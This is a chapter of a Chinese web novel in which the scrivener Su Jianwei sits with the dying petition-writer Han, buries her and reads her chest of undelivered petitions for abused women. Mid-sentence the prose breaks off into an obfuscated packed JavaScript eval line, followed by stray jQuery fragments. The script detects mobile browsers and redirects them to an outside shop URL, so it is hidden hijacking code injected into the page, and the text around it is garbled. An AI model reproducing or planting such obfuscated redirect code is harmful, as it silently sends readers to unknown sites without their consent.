苏见微在韩老娘的土屋里坐了一夜。
床边点着一支香，是茶坊老伙计的儿子从家里拿来的。香烧完了，她就再点一支。
少年给她搬来一张草席。
"苏姐姐，要不要喝一碗水？"
"不用。"
"要不要躺一会儿？我替您看着。"
"不用。"
少年没再劝，退到外面小棚里。
屋里只剩苏见微和韩老娘。
后半夜，韩老娘的呼吸越来越浅。有时隔很久才起一声。天微亮的时候，那一点气息停了。
苏见微坐了一会儿，才起身给她盖上白布。
白布是茶坊老伙计的儿子昨夜备下的，折得很整齐。她把布角抻平，压到韩老娘肩边。
她出去叫醒少年。
"她去了。"
少年立刻站起来，脸上的睡意一下退了。
"我去叫我爹。"
"嗯。"
少年往城里跑。清晨的雾还没散，他的身影很快淡在官道上。
苏见微回到土屋。
韩老娘躺在床上，脸被白布盖着。
天亮以后，屋子露出原来的样子。
一张床，一张矮桌，一只煤炉，一根木拐。墙上挂着一件洗得发硬的旧褂，袖口补了三层。窗台上有半包茶末，用纸裹着，旁边压着五枚铜钱。床脚放着一双旧鞋，鞋底一边磨得很薄，鞋帮上还沾着官道上的黄泥。
苏见微站在屋中央，第一次真正看见韩老娘的一生。
这些东西都很小。
旧褂挂在墙上，茶末压在窗台，五枚铜钱摆得整齐。鞋帮上的黄泥已经干了，像屋主只是出门写一份状子，傍晚还会回来。
白布盖在床上。
她替别人写了三十年姓名、籍贯、年月、事由。轮到她自己，屋里没有铺牌，没有名册，只有这一床白布和床下半只樟木箱。
苏见微在原地站了一会儿，喉咙里的话落不下来。
床下那只樟木箱还露出半边。
她蹲下去，把箱子拖出来。
箱子不满。
最上面是近年的状子，捆得整齐。下面垫着旧布和几块防潮的木片。三十年，只有半箱。
她把手伸进去，碰到纸边。
麻纸受过潮，有些地方发硬，有些地方已经软了。每一捆外面都有一张小签，写着年号、月份，还有一个很小的记号。
记号很小，只够韩老娘自己认。
苏见微先解开最上面那一捆。熙宁九年，最近的。里面有寡妇争田的状，有女儿被兄嫂赶出门的状，还有一张只写到一半，纸角被揉过，字停在"求县尊明断"前。
她又往下翻。
越往下，纸越旧。治平年间那一捆在最底下，麻绳已经发黑。她解绳的时候，纸边碎了一点，落在她手背上。
最下面压着一张薄纸。
纸快散了，上面写着一个名字，一个日期，一桩状。
具状人是邻县农妇，状告丈夫毒打致残。
这是韩老娘接的第一桩状。
状子背面有一行批注，墨色淡得快看不清。
"立。但状子未递。具状人当晚被她男人活埋了。我没救她。"
苏见微看了很久。
韩老娘说过，她替人写过一桩最大的状。
她这时才懂，韩老娘说的"最大"，大在背面那一句。状子没递出去，那一晚压了她三十年。
她把那张纸重新垫回最底下，又把麻绳系好。系到一半，她停了一下，重新系得更松些。
纸太老了，不能勒。
茶坊老伙计来的时候，带了一具粗木棺材。
他和儿子把韩老娘抬进棺材。苏见微站在一旁，没有伸手。
茶坊老伙计问："姑娘，她有什么后事？"
苏见微说："她没说过。"
"那就按一般民间女讼师的规矩办，葬到城外乱葬岗。"
这句话他说得很平常。苏见微听见"一般"两个字，手指蜷了一下。
粗棺，乱葬岗，无字木牌，原来也能算一套规矩。
"好。"
"费用怎么办？"
"您不用管。我跟韩老娘做了三十年茶饭交情，这一笔我出。"
苏见微想说什么，没说出来。她对茶坊老伙计行了一礼。
茶坊老伙计带儿子去找抬棺的杠夫。
苏见微留在土屋里，蹲下，把樟木箱合上。
箱子比看起来重。
她两手扣住箱沿，往外挪了一寸。
箱角在地上擦出一声闷响，又停住。
半箱状子压在木底上，她没再硬搬，只把箱盖扣严，等茶坊老伙计回来。
出了土屋，外面的风还是大。
官道上，四个杠夫已经候在那里。棺材是粗木的。没漆。
棺盖上什么也没有。没有字，没有花，也没有挽联。
杠夫们把棺杠架好，没多话。
棺材沿着官道往城外去。
苏见微跟在棺材后面。素青襦衣，没有孝服。
一路上她没说话。
到乱葬岗的时候，杠夫把棺材放在一块空地上。
茶坊老伙计指了一处地方，离王义王氏的合葬墓不远。
"这里。"
杠夫开始挖坑。
乱葬岗的土松，铁锹下去，翻出来的土带着草根。挖了大约一炷香，坑成了。
一个杠夫朝茶坊老伙计要水。他喝了一口，递给下一个。四个人轮着喝完，才重新抬棺。
挖完之后，茶坊老伙计给每个杠夫塞一文铜钱。
"辛苦。"
杠夫们点头。
四个人一起把棺材抬下坑。下到一半，一个杠夫脚滑了，棺材晃了一下。另外三个赶紧扶稳，没让它摔进去。
茶坊老伙计的眉头只皱了一下。
棺材到底。
茶坊老伙计开始盖土。苏见微也帮着盖了几铲。
土落在棺盖上，咚咚闷响。
韩老娘葬在这里，和王义、王氏做邻居。山坡上还有三十年前自缢的胡氏，以及更多连名字都没有的人。
两刻钟后，坑填平了。
茶坊老伙计立了一块木牌。
上面没有字。
苏见微对着新坟行了一礼，又去旁边王义和王氏的合葬墓前也行了一礼。
然后回到新坟前，从袖里取出那张叠好的麻纸。
纸是昨夜从韩老娘床头收起来的，被她在袖里攥了一路，折痕已经深了。
上面只写了一行字：
"做不动了，你接着做。"
她把纸压在青石下面。
青石不大，她压完又往里推了推。无字木牌立在旁边，木头新削过，颜色很白。
风一吹，纸角露出一点，轻轻动了一下。
她伸手按住。
按了一会儿，才松开。
茶坊老伙计把樟木箱子搬到牛车上。
两人往回走。一路上谁都没说话。
走到城门口，茶坊老伙计停下来。
"姑娘，我送您到这里。"
"嗯。"
"韩老娘留下的那只箱子，您以后用得着，"老伙计说到这里，停了一下，才接着道，"再给她说一声。"
"好。"
她应得很轻，指尖还捏着袖口。
老伙计转身往茶坊方向走。他的背比上次见时又驼了一点。
到了苏家代书铺，茶坊老伙计帮她把樟木箱子搬进后房，放在笔迹谱的木匣旁边。
她对茶坊老伙计行了一礼。
"多谢您。"
茶坊老伙计摇头。
"姑娘，她临走前能等到您，把话交代出去，心里该是松快的。"
他走了。
祖母从后房出来，看见樟木箱。
没问。
转身去烧了一锅水。
"洗一洗。"
"嗯。"
阿茯从偏间探出头，看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666331|206665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了看苏见微的脸，没出声，默默去帮祖母添柴。
祖母没有问韩老娘走得苦不苦，也没有问乱葬岗远不远。
她拿木瓢舀水，水声落进盆里。
苏见微站在门口，手指还带着抬箱子时留下的木刺感。
那句话仍旧说不出来。
苏见微进了自己的屋。
樟木箱放在笔迹谱的木匣旁边。她把最上面一捆状子取出来，摆在桌上。
点了一支蜡烛。
最上面那一捆是近年的。纸还算新，字也清楚。韩老娘的字不像韩慎之那样稳，老了以后手抖，横画常常斜出去一点，可批注写得很短，短到一眼就能看见伤口。
第一份，寡妇争田。夫死之后，族兄拿着一张旧契来夺地。韩老娘在旁边写：旧契年月不合，须问保人。未递。族兄夜里带人砸门，妇人携子投娘家。
第二份，孤女被兄嫂赶出门。状子写了一半，末尾没有落款。批注：人已卖入乐户，追不及。
第三份，妇人求告丈夫将女儿卖去私窑。状词写得很乱，墨迹有两处洇开，像是边哭边说。韩老娘在旁边另起一行：私窑在邻路山脚，烧砖瓦，也烧盗来的铜器。买小女，便宜，不算壮丁，死了埋窑灰里，少有人问。
苏见微的手停住。
再往下，有的被转去瓦舍，有的给鳏夫做小，有的被牙人带走。批注只写"去向不明"。
她把那一页放平，没让烛火靠近。
阿茯端着热水进来，站在门口没进。
"苏姐姐，祖母让我给您送水。"
"放门边。"
阿茯把碗放下，眼睛落在桌上的纸上。
"这些都是状子吗？"
"嗯。"
"也是没人管的事？"
苏见微把最上面一页翻过去，露出空白背面。
"有些管过，没管成。有些还没递出去，人就没了。"
阿茯沉默了一会儿。
"比我娘还惨吗？"
苏见微看着她。这么小的孩子，已经知道用自己的苦难去丈量别人的苦难。
"不一样。"
"怎么不一样？"
"你娘至少被写回来了。"她说，"这些人里，有些连名字都没有留下。"
阿茯站了片刻，点点头，转身去灶房。没过多久，祖母进来，手里拿着一块旧布。
"桌上垫着。"祖母说，"别把纸磨坏。"
苏见微接过旧布，铺在桌面上。祖母没有问箱子里写了什么。老人看了一眼那些纸边，就把目光收回去。
"慢慢翻。死人留下的东西，不急在一夜。"
"嗯。"
祖母走后，苏见微没有去睡。
她把近年那一捆拖到面前，先看递过的，再看没递成的，最后看那些只问过一句、连状纸都没铺开的。她翻得很快，又每一页都停一下。批注里有几处写着"赵某"，还有几处写"邻女失踪"，字很短，短到像一个人还没走进门，就已经被纸赶了出去。
翻到子夜，蜡烛剩了半截。她知道明天还要回州府，知道再翻下去也翻不完，可手停不下来。
胸口那口气堵得太死。她只能多看一份，再多看一份，仿佛把韩老娘三十年没能递出去的状子都翻过一遍，那口气就能从她胸口挪到纸上。
到后来，字也有些花了。她终于把最上面那一捆压回去，没再点第二支蜡烛。
屋里暗下来，只剩纸的潮味、旧味，还有樟木箱里带出来的涩气。
苏见微躺下去，却没有睡着。
这是她来到这里以后，第一次清清楚楚地觉得，这场穿越太憋闷了。命运像随手开了一个玩笑，别人或许能穿成公主、贵女、能一句话改人生死的人，她偏偏只是城东代书铺里一个小小的代书女。前世没有多少运气，到了这里也一样。她能看见那么多被压住的名字，却没有一只手能立刻把他们全拉出来。
黑暗里，樟木箱抵着床脚。
她听着自己的呼吸，睁眼到天快亮。